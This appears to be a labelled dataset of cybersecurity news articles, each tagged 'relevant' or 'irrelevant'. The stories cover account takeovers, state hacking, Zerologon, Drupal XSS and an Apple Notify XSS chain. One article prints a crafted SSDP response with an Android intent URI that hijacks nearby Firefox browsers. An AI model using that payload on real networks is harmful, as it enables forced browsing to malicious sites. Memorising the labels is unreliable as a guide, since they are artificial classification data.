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"Apple has finally embraced key-based 2FA. So should you Almost three years ago, Google introduced its Advanced Protection Program (APP), a security plan for high-risk users that requires hardware keys for account access and is arguably the industry's most effective way to stop account takeovers in their tracks. But until now there was a major flaw that held APP back: its iPhone and iPad offerings were prohibitively limited for most users. Now that this has changed—more on the change in a bit—I feel comfortable recommending APP much more widely. What is APP? By requiring users to produce a physical security key in addition to a password each time they log in with a new device, APP is designed to stop the kinds of account breaches that Russian operatives used to disrupt the 2016 presidential election when they published sensitive emails from high-ranking Democratic officials. FURTHER READING Russia-linked phishing campaign behind the DNC breach also hit Podesta, Powell Those attacks presented targets with convincing emails purportedly from Google. They warned, falsely, that the target's account password had been obtained by an outsider and should immediately be changed. When Hillary Clinton's presidential campaign chairman John Podesta and other Democrats complied, they effectively surrendered their passwords to hackers. Although hackers have many ways to compromise accounts, phishing remains one of the most popular, both because it's easy and because the success rate is so high. APP makes such attacks all but impossible. The cryptographic secrets stored on the physical keys required by APP can't be phished and—theoretically—can't be extracted even when someone gets physical access to a key or hacks the device it connects to. Unless attackers steal the key—something that's not feasible remotely—they can't log in even if they obtain the target's password. Think of APP as two-factor authentication (2FA) or multifactor authentication (MFA) on steroids. FURTHER READING Choosing 2FA authenticator apps can be hard. Ars did it so you don’t have to Security practitioners almost unanimously consider physical keys a more secure MFA alternative to authenticator apps, which provide an ever-changing password that users enter as a second factor. Temporary passwords are even more of a problem when sent via SMS text messages, which are vulnerable to SIM-swapping attacks and to compromises of cell phone networks. FURTHER READING Thieves drain 2fa-protected bank accounts by abusing SS7 routing protocol A 2016 study of 50,000 Google employees over two years found that security keys beat out other forms of 2FA, both for security and reliability. APP combines the security of physical keys with a rigorous method for locking down an account. When first setting up APP, users must enroll two security keys such as those made by Yubico or Titan Security. Once the keys are enrolled, all devices that may be logged in to the account are automatically logged out and can only be logged back in using one of the keys as a second factor. Users must also use the keys when logging in from any new devices for the first time. (Google calls this process bootstrapping). Once a device is authenticated, it by default no longer needs the second authentication factor during subsequent logins. Even then, Google may require a second factor again in the event that company employees see logins from suspicious IPs or other signs that the account has been, or is close to being, hijacked. Google says that APP provides additional safeguards but has never offered many details beyond that. To make bootstrapping less painful, users can enroll their Android—and more recently their iOS device—as an additional physical key that is activated by clicking yes on a screen that automatically appears during the bootstrapping process. The appeal of this option is that users generally have their phone in their pockets, making it more convenient than more traditional physical keys. Here's how it looks on both iOS and Android and iOS: A built-in security key in an iPhone (left) and a Pixel (right). Enlarge / A built-in security key in an iPhone (left) and a Pixel (right). The phone-based keys—which comply with the recently introduced WebAuthn standard (more about that later)—work only when Bluetooth is enabled on both the phone and the device that's being bootstrapped. On top of that, the keys only work when both the phone and the bootstrapped device are in close proximity to each other. This requirement fixes a security weakness in earlier push-based 2FA, in which users tapped an OK button on their phones after successfully entering an account password. Similar to temporary passwords from authenticators and SMS, push-authentication protections can be bypassed when an attacker's carefully timed login closely follows the target trying to log in to the attacker's fake site. Since the targets think they're logging in, they have no reason not to hit the yes button. The Bluetooth requirement adds an additional hurdle—not only must the attacker have the target's account password and time things perfectly, but the attacker must also have physical proximity to the target's device. Great for Android, but what about iOS? As a security maven and a journalist who works with anonymous sources from time to time, I enrolled in APP, both with my personal account and my work one, which uses G Suite. (I had to ask my administrator to allow APP first, but he was able to easily turn it on.) The process for each account took less than five minutes, not counting the time it took to buy two keys. From then on, a physical key was the sole means of providing a second factor of authentication. While APP is no magic bullet against breaches, it does more than any other measure I can think of to prevent account compromises that result from phishing and other types of attacks that exploit compromised passwords. I liked the assurance, and I also liked the usability. Using a Pixel XL that had NFC support, I was able to easily use physical keys on all the devices I owned, even during the early days of APP when key options were more limited. Things became easier still when I could use my phone as a security key. Until now, however, I've held off recommending the general use of APP or even physical keys for 2FA on other sites. My reason: Apple's long-standing practice of tightly restricting access to the Lightning port, and until recently iPhone and iPad NFC, made using hardware-based keys on these devices prohibitively limited. It was hardly worth recommending an authentication method that was unpalatable or unsuitable to users of one of the world's most popular and influential platforms. For most of APP's existence, the only kinds of physical keys that worked with iPhones and iPads were dongles that used BLE, short for Bluetooth Low Energy. I found those dongles fragile, cumbersome, and prone to failures that sometimes required three or more tries before logins would succeed. These keys were the antithesis of the Apple mantra ""It just works."" FURTHER READING Google warns Bluetooth Titan security keys can be hijacked by nearby hackers Even worse, I have my doubts about Bluetooth security. A raft of vulnerabilities, both in the Bluetooth specification and in some of its implementations, raises legitimate concerns that they aren't subjected to rigorous security auditing. Google's disclosure last year of a vulnerability that made it possible for nearby hackers to hijack the Titan Bluetooth pairing process didn't make me feel any better. (The flaw has since been fixed.) This lack of viable key options was out of Google's hands. Apple's tradition of building from the inside out—and its aversion to technologies it views as untested—made the company slow to open its products to hardware-based keys. As a result, Apple resisted calls to allow iPhones and iPads to connect to most devices over NFC or through its Lightning port. While USB-based keys could be used on Macs (and Windows and Linux devices) that ran Chrome and, later, Firefox and other browsers, Bluetooth remained the sole means to connect keys to iPhones and iPads. Ultimately, Bluetooth keys never seemed to catch on. Key maker Yubico, for instance, still doesn't offer products that use Bluetooth. Comments like these on a Google support forum capture some of users' frustration with the lack of viable options. With iOS and iPadOS largely left out, Google and some industry partners did their best to cobble together alternatives. In June 2019, for example, Google began allowing APP account holders to use their Android phones as security keys to log in to their iPhones and iPads, but this option didn't do much to convince me that APP was ready for the iPhone and iPad masses. Once I got over the learning curve, the option worked well enough. But even then, the requirement of a second mobile device—running a rival OS, no less—meant it wasn't likely to appeal to a large percentage of iOS and iPadOS users. In August 2019, Yubico released the Yubikey 5Ci, a key that used proprietary technology to connect to Apple's Lightning port while the world waited for Apple to add native support. Most people hardly took notice because the 5Ci could only be used with the iOS version of the upstart browser Brave and then for a vanishingly small number of services. More mainstream browsers and sites were completely left out. It wasn't until the following month—September 2019—that Safari for macOS added support for physical keys, making it the last major browser to do so. It was only with December's release of iOS and iPadOS 13.3 that Apple added native support for NFC, USB keys through an authentication standard known as FIDO2. These additions were a major improvement, but they came with their own limitations. Seven months later, only Safari and Brave for iOS and iPadOS can use authentication keys. A variety of sites that offer hardware-based 2FA don't work well or at all with Brave. While the browser works with Yubico keys, keys from Titan aren't supported at all. To the frustration of browser makers and online service operators, Apple has yet to publish the programming interfaces that third-party browsers need to actually read the keys using the recently added native support. (Brave can read 5Ci keys thanks to a proprietary Yubico interface. To support Yubico NFC keys, Brave uses a combination of Yubico interfaces and a set of Apple APIs that give iOS and iPadOS apps raw access to NFC-enabled devices.) An Apple spokesman confirmed the company has not yet made the support available but said that shouldn't be interpreted that won't happen in the future. All of these usability restrictions kept me from widely recommending physical keys at all—again because I didn't want to endorse one MFA method for iOS and iPadOS and another one for all other platforms. ",irrelevant
"Iran state hackers caught with their pants down in intercepted videos Iranian state hackers got caught with their pants down recently when researchers uncovered more than 40GB of data, including training videos showing how operatives hack adversaries’ online accounts and then cover their tracks. The operatives belonged to ITG18, a hacking group that overlaps with another outfit alternatively known as Charming Kitten and Phosphorous, which researchers believe also works on behalf of the Iranian government. The affiliation has long targeted US presidential campaigns and US government officials. In recent weeks, ITG18 has also targeted pharmaceutical companies. Researchers generally consider it a determined and persistent group that invests heavily in new tools and infrastructure. In May, IBM’s X-Force IRIS security team obtained the 40GB cache of data as it was being uploaded to a server that hosted multiple domains known to be used earlier this year by ITG18. The most telling contents were training videos that captured the group’s tactics, techniques, and procedures as group members performed real hacks on email and social media accounts belonging to adversaries. Included in the footage was: Almost five hours of video showing operators searching through and exfiltrating data from multiple compromised accounts belonging to two people, one a member of the US Navy and the other a seasoned personnel officer in the Hellenic Navy. Failed phishing attempts that targeted US State Department officials and an Iranian American philanthropist. The failures were the result of emails bouncing because they appeared suspicious. Online personas and Iranian phone numbers used by group members. The haul of data is a potential intelligence coup because it allows researchers (and presumably US officials) to identify the strengths and weaknesses of an adversary that is steadily improving its hacking talent. Defenders can then improve protections designed to keep the attackers out. The bird’s-eye view may also have signaled plans for future ITG18 operations. A rare opportunity “Rarely are there opportunities to understand how the operator behaves behind the keyboard, and even rarer still are there recordings the operator self-produced showing their operations,” IBM researchers Allison Wikoff and Richard Emerson wrote in a post published Thursday. “But that is exactly what X-Force IRIS uncovered on an ITG18 operator whose OPSEC failures provide a unique behind-the-scenes look into their methods, and potentially, their legwork for a broader operation that is likely underway.” The videos were shot using a desktop recording tool called Bandicam and ranged from two minutes to two hours. Timestamps indicated the videos were recorded a day or so before they were uploaded. Five of the videos showed operators pasting passwords into compromised accounts and then demonstrating how to efficiently exfiltrate contacts, photos, and other data stored there and in associated cloud storage. An ITG18 operator desktop from a Bandicam recording. Enlarge / An ITG18 operator desktop from a Bandicam recording. IBM X-Force IRIS The footage also showed the settings that group members changed in the security configurations of each compromised account. The changes allowed the hackers to connect some of the accounts to Zimbra, an email collaboration program that can aggregate multiple accounts into a single interface. Using Zimbra made it possible to manage hacked email accounts simultaneously. An image capture of an ITG18 operator syncing a persona account to Zimbra. Enlarge / An image capture of an ITG18 operator syncing a persona account to Zimbra. BM X-Force IRIS Three other videos revealed that the operators had compromised several accounts associated with an enlisted member of the US Navy and an officer in the Hellenic Navy. ITG18 members had credentials for what appear to be their personal email and social media accounts. In many cases, the hackers deleted emails notifying the targets that there had been suspicious logins to their accounts. Painstaking detail The attackers also accessed files showing the military units the Navy personnel were in, their naval base, residence, personal photos and videos, and tax records. The operators methodically combed through targets’ other accounts, including those on video-streaming sites, pizza-delivery services, credit-reporting agencies, mobile carriers, and more. “The operators appear to have been meticulously gathering trivial social information about the individuals,” the IBM researchers wrote. “In total, the operator attempted to validate credentials for at least 75 different websites across the two individuals. Other videos displayed the Iran-based phone number and other profile details for a fake persona ITG18 members used in their operations. The video also revealed attempts to send phishing emails to the Iranian American philanthropist and two possible State Department officials. Another potentially useful discovery: when operators used a password to successfully gain initial access to an account that was protected by multifactor authentication, they would proceed no further. That suggests that Charming Kitten’s previously revealed ability to bypass multifactor authentication is limited. The behind-the-scenes account IBM obtained demonstrates the double-edged sword that’s wielded by espionage hackers. While their operations often yield useful information on their targets, the targets can also turn that around in Spy vs. Spy fashion.",irrelevant
"Musk, Obama, Biden, Bezos, Gates—bitcoin scam hits Twitter in coordinated blitz Twitter accounts of the rich and famous—including Elon Musk, Bill Gates, Jeff Bezos, and Joe Biden—were simultaneously hijacked on Wednesday and used to push cryptocurrency scams. As of 3:58pm California time, one wallet address used to receive victim’s digital coin had received more than $118,000, though it wasn't clear all of it came from people who fell for the scam. The bitcoin came from 356 transactions that all occurred over about a four-hour span on Tuesday. The wallet address appeared in tweets from at least 15 accounts—some with tens of millions of followers—that promoted fraudulent incentives to transfer money. At least one other Bitcoin wallet was used in the mass scam. “I'm giving back to all my followers,” one now-deleted tweet from Musk’s account said. “I am doubling all payments sent to the Bitcoin address below. You send 0.1 BTC, I send 0.2 BTC back!” A tweet from the Bezos account said the same thing. “Everyone is asking me to give back, and now is the time,” a Gates tweet said. “I am doubling all payments sent to my BTC address for the next 30 minutes. You send $1,000, I send you back $2,000."" Another variation of the scam promoted a partnered initiative that pledged to donate 5,000 BTC to the community and included a domain link to send money. The domain was quickly suspended. This variation came early in the hijacking spree and appeared to affect only cryptocurrency-related businesses, including Binance and Gemini. Other hijacked accounts belonged to Barack Obama, Mike Bloomberg, Apple, Kanye West, Kim Kardashian West, Wiz Khalifa, Warren Buffett, YouTube personality MrBeast, Wendy’s, Uber, CashApp, and a raft of cryptocurrency entrepreneurs. Here's a sampling of some of the scammy tweets: At 2:58 PM California time, Musk’s account continued to pump out fraudulent tweets, despite the mass account hijackings being two hours old. What’s more, a screenshot tweeted by a security researcher showed that attackers have changed associated email addresses of some of the hijacked accounts. That so many social media accounts were taken over in such a short time and remained hijacked for so long is extraordinary if not unprecedented. Previous hijackings that happened to one or two high-profile accounts to promote scams were the result of phishing attacks or the accounts being protected by weak passwords. And in almost all cases, the rightful account holders quickly regained control. The ability of the attackers to regain control of accounts was also highly unusual. The compromise of so many accounts—many belonging to people who are seasoned in the importance of having good security hygiene—raised serious questions that the compromises were the result of a breach of Twitter’s infrastructure. A Twitter spokeswoman said company personnel are looking into the cause and would respond soon. A statement Binance issued said its personnel ""confirmed that this Twitter breach was not caused by a vulnerability of Binance’s platform or team members."" The statement didn't provide any other details about the cause of the hijacking. Binance went on to say: ""Our security team has verified that there are zero Binance accounts/users who have sent funds to the hacker’s wallet addresses. The hacker’s wallets are not associated with Binance, and we have prevented all Binance wallet addresses from depositing assets into the hacker’s addresses."" Emails to some of the other affected account holders weren't immediately returned. A spokeswoman for security firm RiskIQ said company researchers were able to track the infrastructure belonging to the party behind Wednesday's large-scale hack. So far, they have compiled a list of more than 400 associated domains that included cryptoforhealth.com. the site included in the fraudulent tweet from Binance and other cryptocurrency businesses. Many of the domains didn't respond, while others led to browser warnings like the one below. As the hijackings continued, Twitter said that while it investigated, it was suspending the ability of many but not all Twitter users to tweet or respond to tweets. Accounts belonging to verified users were unable to tweet or reply to other tweets. Instead they got a message that said: ""This request looks like it might be automated. To protect our users from spam and other malicious activity, we can’t complete this action right now. Please try again later."" The suspension didn't apply to retweets or direct messages. Unverified accounts worked normally. Enlarge This is a developing story. This post will be updated as more details become available.",irrelevant
"Russia-linked hackers accused of targeting COVID-19 vaccine developers Hackers backed by the Russian state are targeting pharmaceutical companies and academic institutions in the UK, US, and Canada that are working on potential COVID-19 vaccines, British intelligence officials have warned. The UK’s National Cyber Security Centre, working with Canada’s Communications Security Establishment, attributed the attacks to hacking group APT29, also known as “Cozy Bear,” which it alleged was “almost certainly” working for Russian intelligence services. The findings have been endorsed by the US National Security Agency. Dominic Raab, UK foreign secretary, said it is “completely unacceptable that the Russian intelligence services are targeting those working to combat the coronavirus pandemic."" “While others pursue their selfish interests with reckless behavior, the UK and its allies are getting on with the hard work of finding a vaccine and protecting global health,” he said. “The UK will continue to counter those conducting such cyber attacks and work with our allies to hold perpetrators to account.” APT29 has been linked to the hacking and theft of emails from the Democratic National Committee ahead of the 2016 US election. Intelligence officials said the group used a variety of tools and techniques. However, they would not confirm whether any attempts to steal intellectual property from vaccine researchers had been successful. Dmitry Peskov, president Vladimir Putin’s spokesman, told the FT: “We do not have information on who could have hacked pharmaceutical companies and research centers in the UK. “We can say one thing: Russia has nothing to do with these attempts. We do not accept such accusations.” The allegations about Russian hacking come ahead of the publication on Monday of the first clinical trial results from Oxford University’s much anticipated COVID-19 vaccine. The results, which will appear in The Lancet journal, include what one senior Oxford scientist called “terrific preliminary data” on the way the inoculation stimulates immunity. The scientist said the vaccine gave a double boost to the immune system in the 1,000 UK volunteers who took part in its phase one trial without significant side-effects. Earlier this week, the first clinical trial results from another vaccine developed by Moderna, a US biotech company, showed encouraging levels of antibody production. Russia has claimed that a COVID-19 vaccine developed in Moscow—one of scores being worked on worldwide to battle the pandemic—will begin phase three human trials next month. The early clinical trials of the vaccine have not been peer-reviewed, and no detailed information on the results have been published. But Kirill Dmitriev, head of the Russian Direct Investment Fund, on Thursday suggested that Moscow planned to produce more than 200 million doses of the vaccine by the end of this year and seek to inoculate the Russian population by early 2021.",irrelevant
"Twitter lost control of its internal systems to Bitcoin-scamming hackers Twitter lost control of its internal systems to attackers who hijacked almost a dozen high-profile accounts, in a breach that raises serious concerns about the security of a platform that’s growing increasingly influential. FURTHER READING Musk, Obama, Biden, Bezos, Gates—bitcoin scam hits Twitter in coordinated blitz The first signs of compromise occurred around 1pm California time when hijacked accounts—belonging to former Vice President Joe Biden, Elon Musk, Bill Gates, and other people with millions or tens of millions of followers—started pumping out messages that tried to scam people into transferring cryptocurrency to attacker-controlled wallets. In a tweet issued about seven hours after the mass takeover spree began, Twitter officials said the attackers appeared to take control by tricking or otherwise convincing employees to hand over credentials. “We detected what we believe to be a coordinated social engineering attack by people who successfully targeted some of our employees with access to internal systems and tools,” the tweet said. “We know they used this access to take control of many highly-visible (including verified) accounts and Tweet on their behalf. We're looking into what other malicious activity they may have conducted or information they may have accessed and will share more here as we have it.” Once Twitter learned of the takeovers, company personnel locked down the accounts and removed the tweets. Twitter’s tweet thread didn’t explain why Musk’s account posted fraudulent tweets after previous ones had been deleted. Bad for national security, too The compromise raises serious national security concerns because of the potential it had to sow panic and chaos. With control of virtually every Twitter account, the attackers could have hijacked those belonging to President Trump or government agencies and done much worse than replay a cryptocurrency scam that has been going on for years. Twitter eventually contained the mass compromise but only after a flood of scam messages steadily flowed out of the social media site over several hours. It's not the first time Twitter has suffered a serious breach of this sort. In 2010, the company settled Federal Trade Commission charges for lapses that allowed hackers to obtain unauthorized administrative control of internal systems. The breach, the FTC said, gave the attackers access to user data and private tweets and the ability to make phony tweets from any account including those belonging to then-President-elect Barack Obama and Fox News. Just hours after Wednesday's breach came to light, US Senator Josh Hawley sent a letter to Twitter CEO Jack Dorsey asking that he contact the FBI to make sure the site is secure. “I am concerned that this event may represent not merely a coordinated set of separate hacking incidents but rather a successful attack on the security of Twitter itself,” Hawley wrote. “As you know, millions of your users rely on your service not just to tweet publicly but also to communicate privately through your direct message service. A successful attack on your system’s servers represents a threat to all of your users’ privacy and data security.” An article posted by Motherboard, citing unnamed hackers and corroborating screenshots, said the attackers gained access by paying a Twitter insider. The post went on to show a panel controlling the account of Binance, a cryptocurrency exchange whose Twitter personna was hijacked. Other screenshots that circulated widely showed what purportedly were screenshots of Twitter administrative tools. While the screenshots haven’t been confirmed, Twitter repeatedly took two of them down and terminated the account of a person who initially posted them. Hackers and security people said they considered them plausible. The two initial screenshots appear below: Enlarge Enlarge Adrian Lamo’s coveted Twitter handle targeted, too Besides those of celebrities, business leaders, and politicians, the Twitter account of Adrian Lamo—a hacker known for high-profile exploits and for turning in Chelsea Manning and who died in 2018—was also compromised on Wednesday under similar circumstances. Fellow hacker and friend Lucky225, who has had control of the account since Lamo’s death (with the blessing of his father), said Twitter sent him a password reset confirmation code for the account at 10:23am California time, about 90 minutes before the first public signs of a breach. Despite not entering the code, Lucky225 (his legal name, he says) then received an app notification warning him a new device had logged in to the Lamo account for the first time. Enlarge Lucky225 In a stroke of luck, Lucky225 said he was able to regain control of the account because, while the hackers had changed the email address associated with the account, they had failed to change the phone number. Lucky225 said he used the phone number to regain control. Then, in a strange and currently unexplained twist, Lamo’s friend said that at 8:30pm he discovered the account had again been hijacked—or at least partially so—when Twitter emailed him again to say two-factor authentication had just been turned off. Enlarge Lucky225 “What's weird.. the password (which was just randomly generated in PW manager today when I recovered the account earlier) still works,” Lucky225 told me in a text message that dropped and abbreviated some words. “But when I use it to login it says account's locked. And then wants me to change my pw to continue but won't actually let me do that since email was apparently changed.” He said it’s possible that Twitter is behind the second takeover because company employees mistakenly believed the account was still compromised. Another possibility is that hackers somehow managed to force their way back in by exploiting a vulnerability in several third-party apps that, through the OAuth protocol, had permission to access the Lamo account. Lucky225 said he suspects attackers targeted Lamo’s account for its handle—@6—which at a single character, is highly coveted by many hackers. He’s not sure if the same hackers were responsible for the hijackings of both the Lamo and celebrity accounts, but he said the ability to twice bypass 2FA and password controls suggests whoever is behind the Lamo account takeover had control of internal Twitter systems. A Twitter spokeswoman said the company had nothing to add beyond the information in the tweet thread. Twitter account holders should follow the usual security guidance to lock down accounts. The advice includes using a strong password (unique to the account, randomly generated using either dice words or letters, numbers, and special characters), 2FA, and to turn on Twitter's password reset protection, which requires users to provide additional information before a passphrase can be changed. Given that those measures were bypassed on Wednesday, they may not be enough. ",irrelevant
"Feds issue emergency order for agencies to patch critical Windows flaw The US Department of Homeland Security is giving federal agencies until midnight on Tuesday to patch a critical Windows vulnerability that can make it easy for attackers to become all-powerful administrators with free rein to create accounts, infect an entire network with malware, and carry out similarly disastrous actions. FURTHER READING New Windows exploit lets you instantly become admin. Have you patched? Zerologon, as researchers have dubbed the vulnerability, allows malicious hackers to instantly gain unauthorized control of the Active Directory. An Active Directory stores data relating to users and computers that are authorized to use email, file sharing, and other sensitive services inside large organizations. Zerologon is tracked as CVE-2020-1472. Microsoft published a patch last Tuesday. An unacceptable risk The flaw, which is present in all supported Windows server versions, carries a critical severity rating from Microsoft as well as a maximum of 10 under the Common Vulnerability Scoring System. Further raising that stakes was the release by multiple researchers of proof-of-concept exploit code that could provide a roadmap for malicious hackers to create working attacks. Officials with the Cybersecurity and Infrastructure Security Agency, which belongs to the DHS, issued an emergency directive on Friday that warned of the potentially severe consequences for organizations that don’t patch. It states: CISA has determined that this vulnerability poses an unacceptable risk to the Federal Civilian Executive Branch and requires an immediate and emergency action. This determination is based on the following: the availability of the exploit code in the wild increasing likelihood of any unpatched domain controller being exploited; the widespread presence of the affected domain controllers across the federal enterprise; the high potential for a compromise of agency information systems; the grave impact of a successful compromise; and the continued presence of the vulnerability more than 30 days since the update was released. CISA, which has authorization to issue emergency directives intended to mitigate known or suspected security threats, is giving organizations until 11:59pm EDT on Monday to either install a Microsoft patch or disconnect the vulnerable domain controller from the organization network. No later than 11:59pm EDT on Wednesday, agencies are to submit a completion report attesting the update has been applied to all affected servers or provide assurance that newly provisioned or previously disconnected servers will be patched. Exploitation is easier than expected When details of the vulnerability first surfaced last Tuesday, many researchers assumed it could be exploited only when attackers already had a toehold inside a vulnerable network, by either a malicious insider or an outside attacker who had already gained lower-level user privileges. Such post-compromise exploits can be serious, but the requirement can be a high-enough bar to either buy vulnerable networks time or push attackers into exploiting easier but less severe security flaws. Since then, several researchers have said that it’s possible for attackers to exploit the vulnerability over the Internet without first having such low-level access. The reason: despite the risks, some organizations expose their domain controllers—that is, the servers that run Active Directory—to the Internet. Networks that do this and also have exposed Server Message Block for file sharing or Remote Procedure Call for intra-network data exchange may be exploitable with no other requirements. “If you have set up detections for #zerologon (CVE-2020-1472), don’t forget that it could also be exploited over SMB!” researchers from security firm Zero Networks wrote. Run this test script (based on @SecuraBV ) for both RPC/TCP and RPC/SMB.” Kevin Beaumont, acting in his capacity as an independent researcher, added: “There’s a good (but minor) barrier to entry as so far the exploits don’t automate remotely querying the domain and Netbios name of DC. One unpatched domain controller = every patched domain endpoint is vulnerable to RCE. Another pivot, if you have SMB open—RPC over SMB. Attn network detection folks.” Queries using the Binary Edge search service show that almost 30,000 domain controllers are viewable and another 1.3 million servers have RPC exposed. In the event either of these settings apply to a single server, it may be vulnerable to remote attacks that send specially crafted packets that give full access to the active directory. Beaumont and other researchers continue to find evidence that people are actively developing attack code, but so far there are no public reports that exploits—either successful or attempted—are active. Given the stakes and the amount of publicly available information about the vulnerability, it wouldn’t be surprising to see in-the-wild exploits emerge in the coming days or weeks.",relevant
"Drupal addressed XSS and information disclosure flaws Drupal maintainers addressed several information disclosure and cross-site scripting (XSS) flaws in the popular content management system (CMS). Drupal maintainers addressed several information disclosure and cross-site scripting (XSS) vulnerabilities in the popular content management system (CMS). The most severe issue, tracked as CVE-2020-13668, is a critical reflected XSS issue affecting Drupal 8 and 9. Let’s remind that Drupal uses the NIST Common Misuse Scoring System to determine the severity of the vulnerabilities, in this system critical comess after highest level that is “highly critical”. “An attacker could leverage the way that HTML is rendered for affected forms in order to exploit the vulnerability.” reads the advisory. The advisory states that the issue could be exploited only under certain conditions. The remaining flaws addressed in the CMS are rated moderately critical. The first one is an information disclosure flaw tracked as CVE-2020-13670 XSS flaw that impacts versions 8 and 9 of the CMS. “A vulnerability exists in the File module which allows an attacker to gain access to the file metadata of a permanent private file that they do not have access to by guessing the ID of the file.” reads the advisory. A second moderately-critical XSS vulnerability addressed this week is an access bypass flaw tracked CVE-2020-13667 that impacts Drupal 8 and 9. “The experimental Workspaces module allows you to create multiple workspaces on your site in which draft content can be edited before being published to the live workspace.” reads the advisory. “The Workspaces module doesn’t sufficiently check access permissions when switching workspaces, leading to an access bypass vulnerability. An attacker might be able to see content before the site owner intends people to see the content.” The last issue is a Cross-site scripting flaw tracked as CVE-2020-13669 that affects Drupal 7 and 8 and resides the CKEditor image caption feature of the Drupal core. “Drupal core’s built-in CKEditor image caption functionality is vulnerable to XSS.” continues the advisory. The advisory highlights that versions of Drupal 8 prior to 8.8.x have reached end of life and no longer receive security updates.",relevant
"Hijacking nearby Firefox mobile browsers via WiFi by exploiting a bug Mozilla addressed a bug that can be exploited by attackers to hijack all the Firefox for Android browsers that share the same WiFi network. Mozilla has addressed a vulnerability that can be abused by attackers to hijack all the Firefox for Android browsers on the same WiFi network and force them to visit malicious sites, such as pages delivering malware and phishing pages. The vulnerability resides in the implementation of Simple Service Discovery Protocol in Firefox. The SSDP protocol is based on the Internet protocol suite for advertisement and discovery of network services and presence information. The flaw was discovered the security researcher by Chris Moberly from GitLab. Once a device is discovered, the Firefox SSDP component gets the location of an XML file that includes its configuration. “The SSDP engine in Firefox for Android (68.11.0 and below) can be tricked into triggering Android intent URIs with zero user interaction. This attack can be leveraged by attackers on the same WiFi network and manifests as applications on the target device suddenly launching, without the users’ permission, and conducting activities allowed by the intent.” wrote the Moberly. “The target simply has to have the Firefox application running on their phone. They do not need to access any malicious websites or click any malicious links. No attacker-in-the-middle or malicious app installation is required. They can simply be sipping coffee while on a cafe’s WiFi, and their device will start launching application URIs under the attacker’s control.” Moberly discovered that in older versions of Firefox it is possible to hide Android “intent” commands in this XML, tricking the Firefox browser in executing the “intent.” The intent could be a regular command that instructs the browser in visiting a specific link. An attacker connecting to the WiFi network could launch a script on their laptop that sends out malformed SSDP packets. Any Android owner connected to the same WiFi that is using a Firefox browser to navigate the web would have his browser hijacked to a malicious site. “Any device on the local network can respond to these broadcasts and provide a location to obtain detailed information on a UPnP device. Firefox will then attempt to access that location, expecting to find an XML file conforming to the UPnP specifications.” added the expert. “This is where the vulnerability comes in. Instead of providing the location of an XML file describing a UPnP device, an attacker can run a malicious SSDP server that responds with a specially crafted message pointing to an Android intent URI. Then, that intent will be invoked by the Firefox application itself.” Below an example of a message that would force any Android phones on the local network with Firefox running to visit the http://example.com page: HTTP/1.1 200 OK CACHE-CONTROL: max-age=1800 DATE: Tue, 16 Oct 2018 20:17:12 GMT EXT: LOCATION: intent://example.com/#Intent;scheme=http;package=org.mozilla.firefox;end OPT: ""http://schemas.upnp.org/upnp/1/0/""; ns=01 01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c SERVER: UPnP/1.0 ST: roku:ecp USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::upnp:rootdevice BOOTID.UPNP.ORG: 0 CONFIGID.UPNP.ORG: 1 Moberly also published proof-of-concept code that could be used to exploit the bug along with two video-poc of Moberly and the popular ESET security researcher Lukas Stefanko. Moberly reported the vulnerability to Mozilla earlier this summer, the company addressed the flaw with the release of Firefox 79. The expert pointed out that Firefox for desktop versions were not impacted. ",relevant
"How A Bug Hunter Forced Apple to Completely Remove A Newly Launched Feature Recently Apple released a new Feature for iPhone and iPad users, but it was so buggy that the company had no option other than rolling back the feature completely. In November, Apple introduced a new App Store feature, dubbed ""Notify"" button — a bright orange button that users can click if they want to be alerted via iCloud Mail when any game or app becomes available on the App Store. Vulnerability Lab's Benjamin Kunz Mejri discovered multiple vulnerabilities in iTunes's Notify feature and iCloud mail, which could allow an attacker to infect other Apple users with malware. ""Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent redirect to external sources and persistent manipulation of affected or connected service module context,"" Mejri wrote in an advisory published Monday. Here's How the Attack Works? The attack involves exploitation of three vulnerabilities via iTunes and the App Store's iOS Notify function. When you click on notify feature for any unreleased app, the function automatically retrieves information from your device, including your devicename value and primary iCloud email id, to alert you when the soon-to-launch app debuts. However, this devicename parameter is vulnerable to persistent input validation flaw, which allows an attacker to insert malicious javascript payload into the devicename field that would get executed on the victim's device in the result after successful exploitation. Moreover, the remote attacker can even set the victim's iCloud email as his/her primary email address, without any confirmation from the victim's side, and that's where the second flaw resides. How A Bug Hunter Forced Apple to Completely Remove A Newly Launched Feature So, now whenever the unreleased app will be available, Apple will send an email to victim's address and since the attacker had set the victim's email address as his/her own primary email at the time of subscribing to the notification. So, the victim will receive that email from Apple, which will include the malicious payload inserted by the attacker into the devicename field. Here the malicious payload will get executed at the victim's side, as shown in screenshots, and that's the third flaw in Apple's email client which fails to check the content of its email sent to its users. How A Bug Hunter Forced Apple to Completely Remove A Newly Launched Feature Successful exploitation of the vulnerabilities could allow the attacker to perform various actions, such as session hijacking. ""The security risk of the persistent input validation and mail encoding web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 5.8,"" Mejri wrote. ""Exploitation of the persistent input validation and mail encoding web vulnerability requires a low privileged apple (appstore/iCloud) account and low or medium user interaction."" Mejri said he first prepared to exploit code for the Notify function back in September when Apple first unveiled this feature. Around December 15 when Super Mario Run was released on Apple App Store, he confirmed that his exploit worked just well. Apple is reportedly aware of the issues and is in the middle of fixing them.",relevant
"Cloud-AI: Artificially Intelligent System Found 10 Security Bugs in LinkedIn 2017 is the year of Artificial Intelligence (A.I.), Big Data, Virtual Reality (VR) and Cyber Security with major companies like Google, Facebook, Apple, IBM and Salesforce and technology pioneers like SpaceX founder Elon Musk investing in these hot technologies. Since everyone seems to be talking about the hottest trend — artificial intelligence and machine learning — broadly, 62 percent of large enterprises will be using AI technologies by 2018, says a report from Narrative Science. But why AI is considered to be the next big technology? Because it can enhance and change everything about the way we think, interact, manufacture and deliver. Last year, we saw a significant number of high-profile hacks targeting big organizations, governments, small enterprises, and individuals — What's more worrisome? It's going to get worse, and we need help. No doubt, we, the human, can find vulnerabilities but can not analyze millions of programs with billions of lines of codes at once. But what if we have an autonomous system that finds and fixes vulnerabilities in computer systems before cyber criminals exploit them, without even any involvement of human? Cloud-AI System That Interacts With Web Just Like Humans An Indian startup named Cloudsek, Infosec Risk assessment company, is working in the same direction, which aims at providing intelligence machine learning-based solutions to help organizations identify and tackle online threats in real-time. The company has developed Cloud-AI technology, an artificial Intelligence system based on a semi-supervised learning model that can navigate and interact with the Internet just like an intelligent human being. Cloud-AI is designed to learn on its own with an 